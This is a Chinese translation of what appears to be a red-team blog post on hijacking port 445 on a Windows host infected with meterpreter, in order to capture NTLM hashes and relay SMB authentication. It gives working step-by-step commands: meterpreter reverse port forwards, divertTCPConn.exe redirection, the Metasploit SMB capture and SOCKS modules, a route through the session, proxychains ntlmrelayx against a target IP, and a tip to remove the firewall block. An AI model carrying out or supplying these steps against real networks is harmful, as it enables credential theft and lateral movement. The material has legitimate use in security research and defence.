导语:劫持端口445以执行中继攻击或哈希捕获攻击一直是一个反复出现的话题。当你使用meterpreter感染目标时,如何在端口445上侦听?几个星期前,这个话题再次浮出水面,而这是一个已经解决的问题,并且拥有随时可用的工具,但很多人都不知道该
劫持端口445以执行中继攻击或哈希捕获攻击一直是一个反复出现的话题。当你使用meterpreter感染目标时,如何在端口445上侦听?几个星期前,这个话题再次浮出水面,而这是一个已经解决的问题,并且拥有随时可用的工具,但很多人都不知道该解决方案。
接下来我们将解释如何利用这些工具来对你具有meterpreter会话的目标执行中继攻击。这种方法的另一个好处是,你不需要python2exe或感染主机上的整个python堆栈,只需一个简单的驱动程序和一个meterpreter感染就可以了。
本文的第一部分将重点介绍能够劫持445端口的思维过程,第二部分将重点关注使其可用于中继攻击。如果你想跳过思考过程和中继设置,你还可以直接跳到已有的解决方案:
https://github.com/Arno0x/DivertTCPconn
本文分为以下几个部分:
· 谁是445端口的所有者?
· 劫持和重定向端口445
· 通过meterpreter完成SMB继电器设置
请注意,我们在撰写此文章时采用了简单的方法,并将所有文件放在磁盘上。如果你想避免这种情况,我们建议你使用ram磁盘解决方案或扩展当前的meterpreter内存执行功能以支持类似的内容。
此外,你很可能需要静态的重新编译解决方案的源代码,以确保你不需要其他DDL文件,或者你必须捆绑这些DLL文件。
谁是445端口的所有者?
首先,哪些服务或流程负责监听端口445?在研究这些类型的问题时,我的第一步是执行一些案例搜索研究,以确定是否有其他人已经分享了答案,然后在我的系统Win10 x64上手动验证或复制它。所以我决定谷歌一下:
msdn进程监听端口445
结果如下:
https://msdn.microsoft.com/en-us/library/cc875824.aspx https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows
基于这些页面中提到的服务,我执行了几个测试,并且我停止和禁用的第一个服务之一,以确定它是否负责端口,是服务器服务。由于这并没有立即产生结果,我也重新启动了这个技巧。这当然不是我们问题的真正解决方案,因为理想情况下我们不希望重新启动受感染的目标。
如果我们深入挖掘并查看服务的属性,我们将看到启动服务的命令是:
C:\ WINDOWS \ system32 \ svchost.exe -k netsvcs -p
了解svchost.exe命令行参数的一个很好的资源是他的网站Geoff Chappell:
https://www.geoffchappell.com/studies/windows/win32/services/svchost/index.htm
如果我们导航到提到的注册表项:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Svchost
我们会发现很多捆绑的服务,但并没有完全回答我们的问题。我们如何使用不同的方法?像往常一样,我们忽略了简单的选项,比如只检查服务的属性,并发现'Dependencies'选项卡列出了srvnet服务,当你查找它时指向一个驱动程序。
如果我们也通过谷歌深入了解永恒之蓝漏洞,我们就会发现以下内容将漏洞分析和端口写入Windows 10,其中指出(释义):'大部分SMB协议都存在于srv.sys驱动程序中'稍后说这个驱动程序与'srvnet.sys驱动程序'紧密配合。最后,为了更正式的确认,我们还找到以下网址:
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/network-direct-kernel-programming-interface-ndkpi-
第一段几乎总结并确认了我们一直怀疑的东西,负责处理端口445上的连接的代码存在于内核中。在某种程度上这是坏消息,因为我们不能简单的劫持套接字。然后我们可能需要学习新的东西,从而知道我们必须在哪个方向寻找解决方案。
劫持和重定向端口445
现在我们已经确定端口445的所有者存在于内核中。我们可以开始考虑我们的战略了。跳到脑海的第一件事是使用iptables来劫持传入或传出连接的Linux概念,因为它在网络堆栈中是以非常低的级别运行的。为了看看我们是否可以在Windows上使用这个概念,我们可以看一下Windows防火墙的内部工作原理,这里有很好的文档:
Windows防火墙架构
https://technet.microsoft.com/pt-pt/library/cc755604(v=ws.10).aspx
Windows过滤平台概述
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/windows-filtering-platform-architecture-overview
从某种意义上说,Windows支持Windows过滤平台名下的相同概念。这是个好消息,因为它意味着它是可能的,然而坏消息似乎是你需要为此创建一个驱动程序。也许你认为netsh端口重定向技巧可行,但事实并非如此。不幸的是,我还没有深入了解细节,这可能让我在未来变的很忙。
但是我们这样偷懒是对的吗?创建驱动程序听起来也许并不是最理想的解决方案。讽刺的是,如果你使用正确的关键字(如wfp port connection)进行搜索,你实际上会发现这个解决方案已经由作者(@agsolino)自己解决了。你还可以将windivert框架本身作为结果中的某个部分。如果你继续搜索更多,你会发现在这个条目的开头链接的解决方案,这是一个易于使用的应用程序来重定向传入的连接。现在让我们看看如何使用它来通过meterpreter重定向受感染系统上端口445上的传入连接。下图显示了我们对新发现方案的使用流程:
我们上面看到的是我们有一个感染了meterpreter的宿主。从这个测量仪我们将设置一个反向端口从受感染的主机前进到我们的metasploit实例,该实例接收常规4444端口上的常规meterpreter连接。meterpreter上的远程侦听端口(8445)将接收在端口445上传入的连接,从而劫持到端口445的传入连接并将它们通过连接朝向metasploit。而我们这样做并捕获一些凭据只是为了看到劫持Windows 445端口实际上是有效的:
设置一个有效的管理仪表会话
设置SMB捕获服务器
a. use auxiliary/scanner/smb/smb_login b. set SRVPORT 9445 c. run -j
使用meterpreter设置反向端口
a. portfwd add -R -L 127.0.0.1 -l 9445 -p 8445
设置端口445劫持
a. divertTCPConn.exe 445 8445
当受害者主机现在连接到受感染主机上的端口445时,你将在metasploit控制台中收到哈希值,如下面的屏幕截图所示:
对于下一部分,Dirk-jan将引导我们将上述内容扩展为通过受感染主机进行的全面工作的远程NTLM中继攻击。
通过meterpreter完成SMB中继器设置
对于最终设置,我们将在Ubuntu系统上使用ntlmrelayx,它将转发到受害者网络内的系统。这涉及通过meterpreter向后和向前转发流量。反向连接是为了确保当目标网络中的主机连接到我们的受感染主机时,这样就会到达ntlmrelayx,然后ntlmrelayx可以将其中继回目标网络。返回目标网络的连接包括SOCKS代理。下图说明了此攻击:
第一步与前一段类似,这将设置我们的反向隧道:
设置一个有效的管理仪表会话
使用meterpreter设置反向端口
a. portfwd add -R -p 4445 -l 445 -L 127.0.0.1
通过meterpreter设置端口445劫持
a. execute -f divertTCPconn.exe -a '445 4445'
要设置前向隧道,我们添加一个路由以通过我们的meterpreter会话(在本例中为会话3)重定向流量并设置SOCKS代理:
通过我们的meterpreter添加路由,在这种情况下,我们具体指定目标IP:
a. route add 192.168.222.103/32 3
设置SOCKS代理
a. use auxiliary/server/socks4a b. run c. Make sure the SOCKS port (default 1080) is specified in /etc/proxychains.conf
通过SOCKS运行ntlmrelayx:
a. sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
现在我们应该就可以全部通过我们的隧道进行中继了。你可以使用例如Inveigh或你自己喜欢的获取流量的方法来发起欺骗攻击。
一旦有传入连接,ntlmrelayx将通过SOCKS隧道路由回我们的受害者网络并开始它的表演:
最后要记住的一些事情:
* 设置反向转发时,Windows防火墙将默认阻止它。 请务必提前删除此阻止或白名单。
* 在转发时,你仍需要记住SMB签名等缓解措施。
* 对于中继HTTP流量(WPAD身份验证),你需要做的就是从端口80向本地ntlmrelayx添加另一个反向转发(除非安装了Web服务器,默认情况下Windows上没有使用端口80,因此这里不需要高级重定向)。